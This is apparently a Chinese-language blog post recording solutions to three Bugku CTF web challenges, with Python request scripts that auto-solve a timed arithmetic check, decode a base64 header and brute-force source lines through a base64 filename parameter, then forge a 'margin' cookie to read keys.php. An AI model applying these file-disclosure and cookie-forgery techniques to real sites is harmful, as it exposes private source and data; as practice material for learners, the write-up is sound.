CTF題目記錄8

(還有坑沒填好)

最近在刷bugku 感覺對新手還是挺友好的,同時也能學到不少東西,每日更新幾題準備記錄的吧(這次基本是腳本題)

秋名山老司機

親請在2s內計算老司機的車速是多少(最基本的腳本題???)

這題很多平臺上都有,腳本必練:request庫,re庫
一開始不知道哪裏傳值,但是post一個數據後就會有提示的,發現要post一個value參數
在這裏插入圖片描述

import requests
import re
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
data1=re.findall(r'</p>\n<div>[\s\+\*-\?;]+</div>',r.text)
data2=''.join(data1) #把data1的list轉爲string類型

num=eval(data2.lstrip('</p>\n<div>').rstrip('=?;</div>'))
# print(str(num)) 測試一下
r=s.post(url,data={'value':num})#post一個value進去
r.encoding='utf-8'
print(r.text)

我這個(正則)寫的挺糟糕的,不過夠用= =

# 網上師傅寫的,學習(正則啊!!)
import requests
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'(\d+[+\-*])+(\d+)', r.text)
d = {
    "value": eval(searchObj.group(0))
    }
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text)

跑出flag在這裏插入圖片描述

sess = requests.Session( )

requests庫的session會話對象可以跨請求保持某些參數,說白了,就是比如你使用session成功的登錄了某個網站,則在再次使用該session對象請求該網站的其他網頁都會默認使用該session之前使用的cookie等參數

速度要快

我的好像不夠快???怎麼跑不出來啊555先留個坑

import requests
import base64

url = 'http://123.206.87.240:8002/web6/'
s = requests.Session()
r = requests.get(url)
flag = r.headers['flag']  # headers是個字典
flag = base64.b64decode(flag)

flag = flag.decode('utf-8')[-8:]
#print(flag)
flag = base64.b64decode(flag).decode('utf-8')
#print(flag)

r = s.post(url, data={'margin': flag})
print(r.text)

# 網上瞟的
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin": key}
print(s.post(url,data=payload).text)

cookies欺騙

在這裏插入圖片描述
一串可疑base64,解碼:keys.txt

然後訪問了一下文件:rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry
好像沒啥用的
(其實是發現filename=keys.txt時會顯示內容,所以我們傳入新的filename=index.php,base64加密後爲aW5kZXgucGhw,再嘗試line=1,2…)腳本把所有內容都爆破出來。。。(這個腦洞我沒想到,不過我發現這個還挺常見的腦洞)

import requests
for id in range(1,100):
    url = 'http://123.206.87.240:8002/web11/index.php?line=' + str(id) + '&filename=aW5kZXgucGhw'
    r=requests.get(url)
    print(r.text)
error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

傳入cookie:margin=margin,查看源碼即可

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章